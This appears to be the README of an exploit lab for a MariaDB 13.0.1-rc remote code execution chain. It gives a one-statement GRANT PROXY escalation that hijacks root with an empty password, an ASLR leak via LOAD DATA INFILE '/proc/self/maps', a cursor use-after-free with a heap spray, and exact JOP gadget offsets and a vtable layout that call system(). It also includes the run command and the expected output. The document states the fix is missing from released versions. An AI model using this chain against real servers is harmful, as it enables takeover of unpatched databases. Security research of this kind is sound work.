
MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + JOP chain to system() as uid 999(mysql) on stock Docker image. Found with RAPTOR and raptor-loop-hunt.
Remote code execution on the unmodified, stock MariaDB 13.0.1-rc Docker image as uid 999 (mysql).
Two exploit variants:
| Variant | File | Requirements | Notes |
|---|---|---|---|
| Pure SQL (recommended) | exploit_pure_sql.py | a low-priv MariaDB account + TCP | no host access, no docker, no /proc/mem, no root password |
| Host-assisted PoC | exploit.py | root on the Docker host | writes JOP chain via /proc/<pid>/mem |
Tested and proven on: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 runs, each with fresh ASLR bases).
exploit_pure_sql.py)The attacker holds only:
lowpriv user) + its password, andThe whole chain is executed as SQL statements; no host-side process access, no docker commands, no known addresses. Every runtime address is learned from the target itself via SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
The only non-SQL operations left are post-exploit housekeeping: restarting the (already crashed) container and displaying the marker file - they are not part of the exploitation.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Requires only a mariadb/mysql client and Python 3. --container is used
for the final marker display (restart + cat) and can be dropped if the marker
is verified some other way.
Expected tail of output:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' bypasses all
privilege checks. The empty authentication clause makes LEX_USER::has_auth()
return false (skipping check_alter_user()), while replace_user_table() still
applies the empty password — replacing root's credentials. One SQL statement,
any authenticated user, every released MariaDB version.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' reads the full memory layout of the
mariadbd process from within SQL, revealing the PIE base and libc base
addresses. Works with secure_file_priv = NULL (unset) on the stock image.
sp_cursor_array::get_cursor_by_ref() returns an interior pointer into a
Dynamic_array whose backing storage is relocated by my_realloc on growth.
When a cursor's open() method runs attacker-controlled SQL that opens
additional cursors, the array grows, the old storage is freed, and the caller's
cached pointer becomes dangling.
The freed chunk (16 cursors x 112 bytes = 1792 bytes) is reclaimed by a heap
spray of 128 user-variable copies at 1784 bytes each (exact-fit for the glibc
chunk). The spray payload places a controlled vtable pointer at offset 0x20
(the result member of sp_cursor), which is subsequently used for virtual
dispatch:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
Two JOP gadgets from the stock mariadbd binary (no ROP, no stack pivot):
| Gadget | Offset | Instruction | Purpose |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Stack alignment fix |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] |
The fake vtable V lives in the 128 MiB buffer; layout:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
The chicken-and-egg of writing self-referential JOP data before knowing the buffer address is resolved by glibc's mmap behaviour:
/proc/self/maps diff/proc/self/maps; if the address ever
moved, the self-reference is re-baked and the write retried (converges in
one iteration in practice)Same chain, but the JOP layout is written into the process via
/proc/<pid>/mem from the Docker host (root required), the payload script is
created via docker exec, and it connects with the root password from the
compose file. Kept as a historical PoC; the pure-SQL variant supersedes it.
sql/sp_cursor.{cc,h} between the 13.0.1 tag and HEAD).dbd60d0ad8d, MDEV-40470) is on dev
branches but absent from every released version (verified 13.0.1 through 10.6.27).SET GLOBAL max_allowed_packet is raised first and a new connection used).DATA_OFF if it ever differs).| Old helper (exploit.py) | Pure-SQL replacement |
|---|
docker inspect → PID + host-side /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
host-side /proc/<pid>/mem writes for the JOP chain | layout embedded via CONCAT/UNHEX at allocation; address from SQL-side maps diff; mmap slot reuse keeps the self-reference valid |
docker exec ... echo CMD > /tmp/payload_cmd.sh | command string embedded directly in the JOP layout |
mariadb -uroot -plabpass (root password) | GRANT PROXY escalation from the low-priv account |
docker exec ... cat MARKER | only used for displaying the proof |
| Load cmd ptr, call system() |